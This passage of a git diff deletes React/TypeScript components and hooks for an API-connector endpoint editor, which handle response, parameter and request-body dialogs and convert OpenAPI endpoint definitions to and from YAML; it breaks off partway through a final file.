index acb2420b8d6..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/ResponseEditor.tsx
+++ /dev/null
@@ -1,249 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogClose,
-    DialogCloseButton,
-    DialogContent,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {FormControl, FormField, FormItem, FormLabel, FormMessage} from '@/components/ui/form';
-import {Input} from '@/components/ui/input';
-import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
-import MonacoEditorWrapper from '@/shared/components/MonacoEditorWrapper';
-import {PlusIcon, Trash2Icon} from 'lucide-react';
-
-import {ResponseDefinitionI} from '../../types/api-connector-wizard.types';
-import {getStatusCodeColor} from '../../utils/endpointEditor-utils';
-import useResponseEditor from './hooks/useResponseEditor';
-
-interface ResponseEditorProps {
-    onChange: (responses: ResponseDefinitionI[]) => void;
-    responses: ResponseDefinitionI[];
-}
-
-const ResponseEditor = ({onChange, responses}: ResponseEditorProps) => {
-    const {
-        control,
-        editingResponse,
-        handleAddDialog,
-        handleDialogOpen,
-        handleEditDialog,
-        handleRemoveResponse,
-        handleSaveResponse,
-        handleSubmit,
-        isDialogOpen,
-        responsesWithIds,
-    } = useResponseEditor({onChange, responses});
-
-    return (
-        <div className="flex flex-col gap-2">
-            <div className="flex items-center justify-between">
-                <span className="text-sm font-medium">Responses</span>
-
-                <Button
-                    icon={<PlusIcon className="size-3" />}
-                    onClick={handleAddDialog}
-                    size="sm"
-                    type="button"
-                    variant="ghost"
-                >
-                    Add
-                </Button>
-            </div>
-
-            {responsesWithIds.length === 0 ? (
-                <p className="text-xs text-muted-foreground">No responses defined.</p>
-            ) : (
-                <ul className="divide-y rounded-md border text-sm">
-                    {responsesWithIds.map((response) => (
-                        <li
-                            className="flex cursor-pointer items-center justify-between p-2 hover:bg-gray-50"
-                            key={response.id}
-                            onClick={() => handleEditDialog(response)}
-                            onKeyDown={(event) => {
-                                if (event.key === 'Enter' || event.key === ' ') {
-                                    event.preventDefault();
-                                    handleEditDialog(response);
-                                }
-                            }}
-                            role="button"
-                            tabIndex={0}
-                        >
-                            <div className="flex items-center gap-2">
-                                <span
-                                    className={`rounded px-1.5 py-0.5 text-xs font-medium ${getStatusCodeColor(response.statusCode)}`}
-                                >
-                                    {response.statusCode}
-                                </span>
-
-                                <span className="text-gray-600">{response.description}</span>
-
-                                {response.contentType && (
-                                    <span className="text-xs text-gray-400">({response.contentType})</span>
-                                )}
-                            </div>
-
-                            <Button
-                                aria-label="Remove response"
-                                icon={<Trash2Icon className="size-3" />}
-                                onClick={(event) => {
-                                    event.stopPropagation();
-                                    handleRemoveResponse(response.id);
-                                }}
-                                size="icon"
-                                type="button"
-                                variant="ghost"
-                            />
-                        </li>
-                    ))}
-                </ul>
-            )}
-
-            <Dialog onOpenChange={handleDialogOpen} open={isDialogOpen}>
-                <DialogContent className="max-w-lg">
-                    <form className="flex flex-col gap-4" onSubmit={handleSubmit(handleSaveResponse)}>
-                        <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                            <DialogTitle>{editingResponse ? 'Edit' : 'Add'} Response</DialogTitle>
-
-                            <DialogCloseButton />
-                        </DialogHeader>
-
-                        <div className="grid grid-cols-2 gap-4">
-                            <FormField
-                                control={control}
-                                name="statusCode"
-                                render={({field}) => (
-                                    <FormItem>
-                                        <FormLabel>Status Code</FormLabel>
-
-                                        <Select onValueChange={field.onChange} value={field.value}>
-                                            <FormControl>
-                                                <SelectTrigger>
-                                                    <SelectValue />
-                                                </SelectTrigger>
-                                            </FormControl>
-
-                                            <SelectContent>
-                                                <SelectItem value="200">200 OK</SelectItem>
-
-                                                <SelectItem value="201">201 Created</SelectItem>
-
-                                                <SelectItem value="204">204 No Content</SelectItem>
-
-                                                <SelectItem value="400">400 Bad Request</SelectItem>
-
-                                                <SelectItem value="401">401 Unauthorized</SelectItem>
-
-                                                <SelectItem value="403">403 Forbidden</SelectItem>
-
-                                                <SelectItem value="404">404 Not Found</SelectItem>
-
-                                                <SelectItem value="500">500 Server Error</SelectItem>
-                                            </SelectContent>
-                                        </Select>
-
-                                        <FormMessage />
-                                    </FormItem>
-                                )}
-                            />
-
-                            <FormField
-                                control={control}
-                                name="contentType"
-                                render={({field}) => (
-                                    <FormItem>
-                                        <FormLabel>Content Type</FormLabel>
-
-                                        <Select onValueChange={field.onChange} value={field.value}>
-                                            <FormControl>
-                                                <SelectTrigger>
-                                                    <SelectValue />
-                                                </SelectTrigger>
-                                            </FormControl>
-
-                                            <SelectContent>
-                                                <SelectItem value="application/json">application/json</SelectItem>
-
-                                                <SelectItem value="application/xml">application/xml</SelectItem>
-
-                                                <SelectItem value="text/plain">text/plain</SelectItem>
-
-                                                <SelectItem value="text/html">text/html</SelectItem>
-                                            </SelectContent>
-                                        </Select>
-
-                                        <FormMessage />
-                                    </FormItem>
-                                )}
-                            />
-                        </div>
-
-                        <FormField
-                            control={control}
-                            name="description"
-                            render={({field}) => (
-                                <FormItem>
-                                    <FormLabel>Description</FormLabel>
-
-                                    <FormControl>
-                                        <Input placeholder="Successful response" {...field} />
-                                    </FormControl>
-
-                                    <FormMessage />
-                                </FormItem>
-                            )}
-                            rules={{required: 'Description is required'}}
-                        />
-
-                        <FormField
-                            control={control}
-                            name="schema"
-                            render={({field}) => (
-                                <FormItem>
-                                    <FormLabel>JSON Schema (optional)</FormLabel>
-
-                                    <FormControl>
-                                        <div className="h-48 overflow-hidden rounded-md border">
-                                            <MonacoEditorWrapper
-                                                defaultLanguage="json"
-                                                onChange={(value) => field.onChange(value || '')}
-                                                onMount={() => {}}
-                                                options={{
-                                                    automaticLayout: true,
-                                                    folding: true,
-                                                    fontSize: 12,
-                                                    lineNumbers: 'on',
-                                                    minimap: {enabled: false},
-                                                    scrollBeyondLastLine: false,
-                                                    tabSize: 2,
-                                                    wordWrap: 'on',
-                                                }}
-                                                value={field.value}
-                                            />
-                                        </div>
-                                    </FormControl>
-
-                                    <FormMessage />
-                                </FormItem>
-                            )}
-                        />
-
-                        <DialogFooter>
-                            <DialogClose asChild>
-                                <Button type="button" variant="outline">
-                                    Cancel
-                                </Button>
-                            </DialogClose>
-
-                            <Button type="submit">{editingResponse ? 'Update' : 'Add'}</Button>
-                        </DialogFooter>
-                    </form>
-                </DialogContent>
-            </Dialog>
-        </div>
-    );
-};
-
-export default ResponseEditor;
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useEndpointForm.ts b/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useEndpointForm.ts
deleted file mode 100644
index d536a20ddb8..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useEndpointForm.ts
+++ /dev/null
@@ -1,433 +0,0 @@
-import {toast} from '@/hooks/use-toast';
-import {HttpMethod} from '@/shared/middleware/graphql';
-import {useCallback, useEffect, useState} from 'react';
-import {UseFormReturn, useForm} from 'react-hook-form';
-import {v4 as uuidv4} from 'uuid';
-import {parse as yamlParse, stringify as yamlStringify} from 'yaml';
-
-import {
-    EndpointDefinitionI,
-    ParameterDefinitionI,
-    ParameterLocationType,
-    ParameterTypeType,
-    RequestBodyDefinitionI,
-    ResponseDefinitionI,
-} from '../../../types/api-connector-wizard.types';
-import {safeJsonParse} from '../../../utils/json-utils';
-
-interface EndpointFormDataI {
-    description: string;
-    httpMethod: HttpMethod;
-    operationId: string;
-    path: string;
-    summary: string;
-}
-
-interface UseEndpointFormProps {
-    endpoint?: EndpointDefinitionI;
-    onClose: () => void;
-    onSave: (endpoint: EndpointDefinitionI) => void;
-    open: boolean;
-}
-
-interface UseEndpointFormI {
-    control: UseFormReturn<EndpointFormDataI>['control'];
-    editorMode: 'form' | 'yaml';
-    handleModeChange: (mode: string) => void;
-    handleSaveEndpoint: (data: EndpointFormDataI) => void;
-    handleSetParameters: (parameters: ParameterDefinitionI[]) => void;
-    handleSetRequestBody: (requestBody: RequestBodyDefinitionI | undefined) => void;
-    handleSetResponses: (responses: ResponseDefinitionI[]) => void;
-    handleSetYamlValue: (value: string) => void;
-    handleSubmit: UseFormReturn<EndpointFormDataI>['handleSubmit'];
-    parameters: ParameterDefinitionI[];
-    requestBody: RequestBodyDefinitionI | undefined;
-    responses: ResponseDefinitionI[];
-    yamlValue: string;
-}
-
-interface ParsedYamlDataI {
-    description: string;
-    httpMethod: HttpMethod;
-    operationId: string;
-    parameters: ParameterDefinitionI[];
-    path: string;
-    requestBody: RequestBodyDefinitionI | undefined;
-    responses: ResponseDefinitionI[];
-    summary: string;
-}
-
-const DEFAULT_RESPONSE: ResponseDefinitionI = {
-    description: 'Successful response',
-    statusCode: '200',
-};
-
-const defaultEndpointValues: EndpointFormDataI = {
-    description: '',
-    httpMethod: HttpMethod.Get,
-    operationId: '',
-    path: '',
-    summary: '',
-};
-
-export default function useEndpointForm({endpoint, onClose, onSave, open}: UseEndpointFormProps): UseEndpointFormI {
-    const [editorMode, setEditorMode] = useState<'form' | 'yaml'>('form');
-    const [parameters, setParameters] = useState<ParameterDefinitionI[]>([]);
-    const [requestBody, setRequestBody] = useState<RequestBodyDefinitionI | undefined>(undefined);
-    const [responses, setResponses] = useState<ResponseDefinitionI[]>([]);
-    const [yamlValue, setYamlValue] = useState('');
-
-    const form = useForm<EndpointFormDataI>({
-        defaultValues: defaultEndpointValues,
-    });
-
-    const {control, getValues, handleSubmit, reset, setValue} = form;
-
-    const generateYamlFromForm = useCallback(() => {
-        const formData = getValues();
-        const method = formData.httpMethod.toLowerCase();
-
-        const operation: Record<string, unknown> = {
-            operationId: formData.operationId,
-            responses: {},
-        };
-
-        if (formData.summary) {
-            operation.summary = formData.summary;
-        }
-
-        if (formData.description) {
-            operation.description = formData.description;
-        }
-
-        if (parameters.length > 0) {
-            operation.parameters = parameters.map((param) => ({
-                description: param.description,
-                example: param.example,
-                in: param.in,
-                name: param.name,
-                required: param.required,
-                schema: {type: param.type},
-            }));
-        }
-
-        if (requestBody) {
-            const {data: parsedSchema} = safeJsonParse(requestBody.schema, 'request body schema');
-
-            operation.requestBody = {
-                content: {
-                    [requestBody.contentType]: {
-                        schema: parsedSchema,
-                    },
-                },
-                description: requestBody.description,
-                required: requestBody.required,
-            };
-        }
-
-        responses.forEach((response) => {
-            const responseObj: Record<string, unknown> = {
-                description: response.description,
-            };
-
-            if (response.contentType && response.schema) {
-                const {data: parsedResponseSchema} = safeJsonParse(
-                    response.schema,
-                    `response schema for status ${response.statusCode}`
-                );
-
-                responseObj.content = {
-                    [response.contentType]: {
-                        schema: parsedResponseSchema,
-                    },
-                };
-            }
-
-            (operation.responses as Record<string, unknown>)[response.statusCode] = responseObj;
-        });
-
-        const spec = {
-            paths: {
-                [formData.path]: {
-                    [method]: operation,
-                },
-            },
-        };
-
-        return yamlStringify(spec);
-    }, [getValues, parameters, requestBody, responses]);
-
-    const parseYamlData = useCallback((yaml: string): ParsedYamlDataI | null => {
-        try {
-            const parsed = yamlParse(yaml);
-
-            if (!parsed.paths) {
-                toast({
-                    description: 'The YAML must contain a "paths" section with endpoint definitions.',
-                    title: 'Invalid OpenAPI structure',
-                    variant: 'destructive',
-                });
-
-                return null;
-            }
-
-            const pathEntries = Object.entries(parsed.paths);
-
-            if (pathEntries.length === 0) {
-                toast({
-                    description: 'The "paths" section is empty. Add at least one endpoint path.',
-                    title: 'No endpoints found',
-                    variant: 'destructive',
-                });
-
-                return null;
-            }
-
-            const [path, methods] = pathEntries[0];
-            const methodEntries = Object.entries(methods as Record<string, Record<string, unknown>>);
-
-            if (methodEntries.length === 0) {
-                toast({
-                    description: `The path "${path}" has no HTTP methods defined. Add at least one method (get, post, etc.).`,
-                    title: 'No methods found',
-                    variant: 'destructive',
-                });
-
-                return null;
-            }
-
-            const [method, operation] = methodEntries[0];
-
-            let parsedParams: ParameterDefinitionI[] = [];
-
-            if (Array.isArray(operation.parameters)) {
-                const validLocations: ParameterLocationType[] = ['path', 'query', 'header'];
-                const validTypes: ParameterTypeType[] = ['string', 'number', 'integer', 'boolean', 'array', 'object'];
-
-                parsedParams = operation.parameters.map((param: Record<string, unknown>) => {
-                    const rawLocation = param.in as string;
-                    const location: ParameterLocationType = validLocations.includes(
-                        rawLocation as ParameterLocationType
-                    )
-                        ? (rawLocation as ParameterLocationType)
-                        : 'query';
-
-                    const rawType = ((param.schema as Record<string, unknown>)?.type as string) || 'string';
-                    const type: ParameterTypeType = validTypes.includes(rawType as ParameterTypeType)
-                        ? (rawType as ParameterTypeType)
-                        : 'string';
-
-                    return {
-                        description: (param.description as string) || '',
-                        example: (param.example as string) || '',
-                        id: uuidv4(),
-                        in: location,
-                        name: (param.name as string) || '',
-                        required: !!param.required,
-                        type,
-                    };
-                });
-            }
-
-            let parsedRequestBody: RequestBodyDefinitionI | undefined;
-
-            if (operation.requestBody) {
-                const reqBody = operation.requestBody as Record<string, unknown>;
-                const content = reqBody.content as Record<string, Record<string, unknown>>;
-
-                if (content) {
-                    const contentType = Object.keys(content)[0];
-
-                    parsedRequestBody = {
-                        contentType,
-                        description: (reqBody.description as string) || '',
-                        required: !!reqBody.required,
-                        schema: JSON.stringify(content[contentType]?.schema || {}, null, 2),
-                    };
-                }
-            }
-
-            let parsedResponses: ResponseDefinitionI[] = [];
-
-            if (operation.responses) {
-                parsedResponses = Object.entries(operation.responses as Record<string, Record<string, unknown>>).map(
-                    ([statusCode, responseData]) => {
-                        const content = responseData.content as Record<string, Record<string, unknown>> | undefined;
-                        const contentType = content ? Object.keys(content)[0] : undefined;
-
-                        return {
-                            contentType,
-                            description: (responseData.description as string) || '',
-                            schema:
-                                contentType && content
-                                    ? JSON.stringify(content[contentType]?.schema, null, 2)
-                                    : undefined,
-                            statusCode,
-                        };
-                    }
-                );
-            }
-
-            return {
-                description: (operation.description as string) || '',
-                httpMethod: method.toUpperCase() as HttpMethod,
-                operationId: (operation.operationId as string) || '',
-                parameters: parsedParams,
-                path,
-                requestBody: parsedRequestBody,
-                responses: parsedResponses,
-                summary: (operation.summary as string) || '',
-            };
-        } catch (error) {
-            console.error('Failed to parse YAML in EndpointForm.parseYamlData:', error);
-
-            toast({
-                description: 'Unable to parse the YAML. Please check that your YAML syntax is valid.',
-                title: 'Invalid YAML',
-                variant: 'destructive',
-            });
-
-            return null;
-        }
-    }, []);
-
-    const parseYamlToForm = useCallback(
-        (yaml: string) => {
-            const parsedData = parseYamlData(yaml);
-
-            if (!parsedData) {
-                return;
-            }
-
-            setValue('path', parsedData.path);
-            setValue('httpMethod', parsedData.httpMethod);
-            setValue('operationId', parsedData.operationId);
-            setValue('summary', parsedData.summary);
-            setValue('description', parsedData.description);
-            setParameters(parsedData.parameters);
-            setRequestBody(parsedData.requestBody);
-            setResponses(parsedData.responses);
-        },
-        [parseYamlData, setValue]
-    );
-
-    const handleModeChange = useCallback(
-        (mode: string) => {
-            if (mode === 'yaml' && editorMode === 'form') {
-                setYamlValue(generateYamlFromForm());
-                setEditorMode('yaml');
-            } else if (mode === 'form' && editorMode === 'yaml') {
-                let parsed;
-
-                try {
-                    parsed = yamlParse(yamlValue);
-                } catch {
-                    toast({
-                        description:
-                            'Fix the YAML syntax errors before switching to form view, or your changes may be lost.',
-                        title: 'Invalid YAML',
-                        variant: 'destructive',
-                    });
-
-                    return;
-                }
-
-                if (!parsed.paths) {
-                    toast({
-                        description: 'The YAML must contain a "paths" section to switch to form view.',
-                        title: 'Invalid OpenAPI structure',
-                        variant: 'destructive',
-                    });
-
-                    return;
-                }
-
-                parseYamlToForm(yamlValue);
-                setEditorMode('form');
-            }
-        },
-        [editorMode, generateYamlFromForm, parseYamlToForm, yamlValue]
-    );
-
-    const handleSaveEndpoint = useCallback(
-        (data: EndpointFormDataI) => {
-            if (editorMode === 'yaml') {
-                const parsedData = parseYamlData(yamlValue);
-
-                if (!parsedData) {
-                    return;
-                }
-
-                const newEndpoint: EndpointDefinitionI = {
-                    description: parsedData.description,
-                    httpMethod: parsedData.httpMethod,
-                    id: endpoint?.id || uuidv4(),
-                    operationId: parsedData.operationId,
-                    parameters: parsedData.parameters,
-                    path: parsedData.path,
-                    requestBody: parsedData.requestBody,
-                    responses: parsedData.responses,
-                    summary: parsedData.summary,
-                };
-
-                onSave(newEndpoint);
-                onClose();
-
-                return;
-            }
-
-            const newEndpoint: EndpointDefinitionI = {
-                ...data,
-                id: endpoint?.id || uuidv4(),
-                parameters,
-                requestBody,
-                responses,
-            };
-
-            onSave(newEndpoint);
-            onClose();
-        },
-        [editorMode, endpoint?.id, onClose, onSave, parameters, parseYamlData, requestBody, responses, yamlValue]
-    );
-
-    useEffect(() => {
-        if (open) {
-            if (endpoint) {
-                reset({
-                    description: endpoint.description || '',
-                    httpMethod: endpoint.httpMethod,
-                    operationId: endpoint.operationId,
-                    path: endpoint.path,
-                    summary: endpoint.summary || '',
-                });
-
-                setParameters(endpoint.parameters || []);
-                setRequestBody(endpoint.requestBody);
-                setResponses(endpoint.responses || []);
-            } else {
-                reset(defaultEndpointValues);
-                setParameters([]);
-                setRequestBody(undefined);
-                setResponses([DEFAULT_RESPONSE]);
-            }
-
-            setEditorMode('form');
-        }
-    }, [endpoint, open, reset]);
-
-    return {
-        control,
-        editorMode,
-        handleModeChange,
-        handleSaveEndpoint,
-        handleSetParameters: setParameters,
-        handleSetRequestBody: setRequestBody,
-        handleSetResponses: setResponses,
-        handleSetYamlValue: setYamlValue,
-        handleSubmit,
-        parameters,
-        requestBody,
-        responses,
-        yamlValue,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useParameterList.ts b/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useParameterList.ts
deleted file mode 100644
index 12bf313d88b..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useParameterList.ts
+++ /dev/null
@@ -1,121 +0,0 @@
-import {useCallback, useState} from 'react';
-import {UseFormReturn, useForm} from 'react-hook-form';
-import {v4 as uuidv4} from 'uuid';
-
-import {
-    ParameterDefinitionI,
-    ParameterLocationType,
-    ParameterTypeType,
-} from '../../../types/api-connector-wizard.types';
-
-interface ParameterFormDataI {
-    description: string;
-    example: string;
-    in: ParameterLocationType;
-    name: string;
-    required: boolean;
-    type: ParameterTypeType;
-}
-
-interface UseParameterListProps {
-    onChange: (parameters: ParameterDefinitionI[]) => void;
-    parameters: ParameterDefinitionI[];
-}
-
-interface UseParameterListI {
-    control: UseFormReturn<ParameterFormDataI>['control'];
-    editingParameter: ParameterDefinitionI | null;
-    handleAddDialog: () => void;
-    handleDialogOpen: (open: boolean) => void;
-    handleEditDialog: (parameter: ParameterDefinitionI) => void;
-    handleRemoveParameter: (id: string) => void;
-    handleSaveParameter: (data: ParameterFormDataI) => void;
-    handleSubmit: UseFormReturn<ParameterFormDataI>['handleSubmit'];
-    isDialogOpen: boolean;
-}
-
-const defaultParameterValues: ParameterFormDataI = {
-    description: '',
-    example: '',
-    in: 'query',
-    name: '',
-    required: false,
-    type: 'string',
-};
-
-export default function useParameterList({onChange, parameters}: UseParameterListProps): UseParameterListI {
-    const [isDialogOpen, setIsDialogOpen] = useState(false);
-    const [editingParameter, setEditingParameter] = useState<ParameterDefinitionI | null>(null);
-
-    const form = useForm<ParameterFormDataI>({
-        defaultValues: defaultParameterValues,
-    });
-
-    const {control, handleSubmit, reset} = form;
-
-    const handleAddDialog = useCallback(() => {
-        setEditingParameter(null);
-        reset(defaultParameterValues);
-        setIsDialogOpen(true);
-    }, [reset]);
-
-    const handleEditDialog = useCallback(
-        (parameter: ParameterDefinitionI) => {
-            setEditingParameter(parameter);
-
-            reset({
-                description: parameter.description || '',
-                example: parameter.example || '',
-                in: parameter.in,
-                name: parameter.name,
-                required: parameter.required,
-                type: parameter.type,
-            });
-
-            setIsDialogOpen(true);
-        },
-        [reset]
-    );
-
-    const handleSaveParameter = useCallback(
-        (data: ParameterFormDataI) => {
-            if (editingParameter) {
-                const updatedParameters = parameters.map((param) =>
-                    param.id === editingParameter.id ? {...param, ...data} : param
-                );
-
-                onChange(updatedParameters);
-            } else {
-                const newParameter: ParameterDefinitionI = {
-                    ...data,
-                    id: uuidv4(),
-                };
-
-                onChange([...parameters, newParameter]);
-            }
-
-            setIsDialogOpen(false);
-            reset(defaultParameterValues);
-        },
-        [editingParameter, onChange, parameters, reset]
-    );
-
-    const handleRemoveParameter = useCallback(
-        (id: string) => {
-            onChange(parameters.filter((param) => param.id !== id));
-        },
-        [onChange, parameters]
-    );
-
-    return {
-        control,
-        editingParameter,
-        handleAddDialog,
-        handleDialogOpen: setIsDialogOpen,
-        handleEditDialog,
-        handleRemoveParameter,
-        handleSaveParameter,
-        handleSubmit,
-        isDialogOpen,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useRequestBodyEditor.ts b/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useRequestBodyEditor.ts
deleted file mode 100644
index 16024060f44..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useRequestBodyEditor.ts
+++ /dev/null
@@ -1,96 +0,0 @@
-import {useCallback, useState} from 'react';
-import {UseFormReturn, useForm} from 'react-hook-form';
-
-import {RequestBodyDefinitionI} from '../../../types/api-connector-wizard.types';
-
-interface RequestBodyFormDataI {
-    contentType: string;
-    description: string;
-    required: boolean;
-    schema: string;
-}
-
-interface UseRequestBodyEditorProps {
-    onChange: (requestBody?: RequestBodyDefinitionI) => void;
-    requestBody?: RequestBodyDefinitionI;
-}
-
-interface UseRequestBodyEditorI {
-    control: UseFormReturn<RequestBodyFormDataI>['control'];
-    handleDialogOpen: (open: boolean) => void;
-    handleOpenDialog: () => void;
-    handleRemoveRequestBody: () => void;
-    handleSaveRequestBody: (data: RequestBodyFormDataI) => void;
-    handleSubmit: UseFormReturn<RequestBodyFormDataI>['handleSubmit'];
-    isDialogOpen: boolean;
-}
-
-const defaultRequestBodyValues: RequestBodyFormDataI = {
-    contentType: 'application/json',
-    description: '',
-    required: true,
-    schema: '{\n  "type": "object",\n  "properties": {}\n}',
-};
-
-export default function useRequestBodyEditor({
-    onChange,
-    requestBody,
-}: UseRequestBodyEditorProps): UseRequestBodyEditorI {
-    const [isDialogOpen, setIsDialogOpen] = useState(false);
-
-    const form = useForm<RequestBodyFormDataI>({
-        defaultValues: requestBody
-            ? {
-                  contentType: requestBody.contentType,
-                  description: requestBody.description || '',
-                  required: requestBody.required,
-                  schema: requestBody.schema,
-              }
-            : defaultRequestBodyValues,
-    });
-
-    const {control, handleSubmit, reset} = form;
-
-    const handleOpenDialog = useCallback(() => {
-        if (requestBody) {
-            reset({
-                contentType: requestBody.contentType,
-                description: requestBody.description || '',
-                required: requestBody.required,
-                schema: requestBody.schema,
-            });
-        } else {
-            reset(defaultRequestBodyValues);
-        }
-
-        setIsDialogOpen(true);
-    }, [requestBody, reset]);
-
-    const handleSaveRequestBody = useCallback(
-        (data: RequestBodyFormDataI) => {
-            onChange({
-                contentType: data.contentType,
-                description: data.description || undefined,
-                required: data.required,
-                schema: data.schema,
-            });
-
-            setIsDialogOpen(false);
-        },
-        [onChange]
-    );
-
-    const handleRemoveRequestBody = useCallback(() => {
-        onChange(undefined);
-    }, [onChange]);
-
-    return {
-        control,
-        handleDialogOpen: setIsDialogOpen,
-        handleOpenDialog,
-        handleRemoveRequestBody,
-        handleSaveRequestBody,
-        handleSubmit,
-        isDialogOpen,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useResponseEditor.ts b/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useResponseEditor.ts
deleted file mode 100644
index a9518547ce4..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/hooks/useResponseEditor.ts
+++ /dev/null
@@ -1,139 +0,0 @@
-import {useCallback, useMemo, useState} from 'react';
-import {UseFormReturn, useForm} from 'react-hook-form';
-
-import {ResponseDefinitionI} from '../../../types/api-connector-wizard.types';
-
-interface ResponseFormDataI {
-    contentType: string;
-    description: string;
-    schema: string;
-    statusCode: string;
-}
-
-interface ResponseDefinitionWithIdI extends ResponseDefinitionI {
-    id: string;
-}
-
-interface UseResponseEditorProps {
-    onChange: (responses: ResponseDefinitionI[]) => void;
-    responses: ResponseDefinitionI[];
-}
-
-interface UseResponseEditorI {
-    control: UseFormReturn<ResponseFormDataI>['control'];
-    editingResponse: ResponseDefinitionWithIdI | null;
-    handleAddDialog: () => void;
-    handleDialogOpen: (open: boolean) => void;
-    handleEditDialog: (response: ResponseDefinitionWithIdI) => void;
-    handleRemoveResponse: (id: string) => void;
-    handleSaveResponse: (data: ResponseFormDataI) => void;
-    handleSubmit: UseFormReturn<ResponseFormDataI>['handleSubmit'];
-    isDialogOpen: boolean;
-    responsesWithIds: ResponseDefinitionWithIdI[];
-}
-
-const defaultResponseValues: ResponseFormDataI = {
-    contentType: 'application/json',
-    description: '',
-    schema: '',
-    statusCode: '200',
-};
-
-export default function useResponseEditor({onChange, responses}: UseResponseEditorProps): UseResponseEditorI {
-    const [isDialogOpen, setIsDialogOpen] = useState(false);
-    const [editingResponse, setEditingResponse] = useState<ResponseDefinitionWithIdI | null>(null);
-
-    const responsesWithIds = useMemo<ResponseDefinitionWithIdI[]>(
-        () =>
-            responses.map((response, index) => ({
-                ...response,
-                id: `response-${index}`,
-            })),
-        [responses]
-    );
-
-    const form = useForm<ResponseFormDataI>({
-        defaultValues: defaultResponseValues,
-    });
-
-    const {control, handleSubmit, reset} = form;
-
-    const handleAddDialog = useCallback(() => {
-        setEditingResponse(null);
-        reset(defaultResponseValues);
-        setIsDialogOpen(true);
-    }, [reset]);
-
-    const handleEditDialog = useCallback(
-        (response: ResponseDefinitionWithIdI) => {
-            setEditingResponse(response);
-
-            reset({
-                contentType: response.contentType || 'application/json',
-                description: response.description,
-                schema: response.schema || '',
-                statusCode: response.statusCode,
-            });
-
-            setIsDialogOpen(true);
-        },
-        [reset]
-    );
-
-    const handleSaveResponse = useCallback(
-        (data: ResponseFormDataI) => {
-            const newResponse: ResponseDefinitionI = {
-                contentType: data.contentType || undefined,
-                description: data.description,
-                schema: data.schema || undefined,
-                statusCode: data.statusCode,
-            };
-
-            if (editingResponse) {
-                const index = responsesWithIds.findIndex((response) => response.id === editingResponse.id);
-
-                if (index !== -1) {
-                    const updatedResponses = [...responses];
-
-                    updatedResponses[index] = newResponse;
-
-                    onChange(updatedResponses);
-                }
-            } else {
-                onChange([...responses, newResponse]);
-            }
-
-            setIsDialogOpen(false);
-            reset(defaultResponseValues);
-        },
-        [editingResponse, onChange, reset, responses, responsesWithIds]
-    );
-
-    const handleRemoveResponse = useCallback(
-        (id: string) => {
-            const index = responsesWithIds.findIndex((response) => response.id === id);
-
-            if (index !== -1) {
-                const updatedResponses = responses.filter((_, responseIndex) => responseIndex !== index);
-
-                onChange(updatedResponses);
-            }
-        },
-        [onChange, responses, responsesWithIds]
-    );
-
-    return {
-        control,
-        editingResponse,
-        handleAddDialog,
-        handleDialogOpen: setIsDialogOpen,
-        handleEditDialog,
-        handleRemoveResponse,
-        handleSaveResponse,
-        handleSubmit,
-        isDialogOpen,
-        responsesWithIds,
-    };
-}
-
-export type {ResponseDefinitionWithIdI};
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/index.ts b/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/index.ts
deleted file mode 100644
index 656f2acf857..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/endpoint-editor/index.ts
+++ /dev/null
@@ -1,5 +0,0 @@
-export {default as EndpointForm} from './EndpointForm';
-export {default as EndpointYamlEditor} from './EndpointYamlEditor';
-export {default as ParameterList} from './ParameterList';
-export {default as RequestBodyEditor} from './RequestBodyEditor';
-export {default as ResponseEditor} from './ResponseEditor';
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorCreateMenu.ts b/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorCreateMenu.ts
deleted file mode 100644
index 22962c683e1..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorCreateMenu.ts
+++ /dev/null
@@ -1,25 +0,0 @@
-import {useCallback} from 'react';
-import {useNavigate} from 'react-router-dom';
-
-import {useApiConnectorWizardStore} from '../../stores/useApiConnectorWizardStore';
-
-interface UseApiConnectorCreateMenuI {
-    handleMenuItemClick: (path: string) => void;
-}
-
-export default function useApiConnectorCreateMenu(): UseApiConnectorCreateMenuI {
-    const reset = useApiConnectorWizardStore((state) => state.reset);
-    const navigate = useNavigate();
-
-    const handleMenuItemClick = useCallback(
-        (path: string) => {
-            reset();
-            navigate(path);
-        },
-        [navigate, reset]
-    );
-
-    return {
-        handleMenuItemClick,
-    };
-}
diff --git a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorEditDialog.ts b/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorEditDialog.ts
deleted file mode 100644
index 82dcba52704..00000000000
--- a/client/src/ee/pages/settings/platform/api-connectors/components/hooks/useApiConnectorEditDialog.ts
+++ /dev/null
@@ -1,78 +0,0 @@
-import {
-    ApiConnector,
-    ImportOpenApiSpecificationInput,
-    useImportOpenApiSpecificationMutation,
-} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useCallback, useState} from 'react';
-import {UseFormReturn, useForm} from 'react-hook-form';
-
-interface UseApiConnectorEditDialogProps {
-    apiConnector: ApiConnector;
-    onClose: () => void;
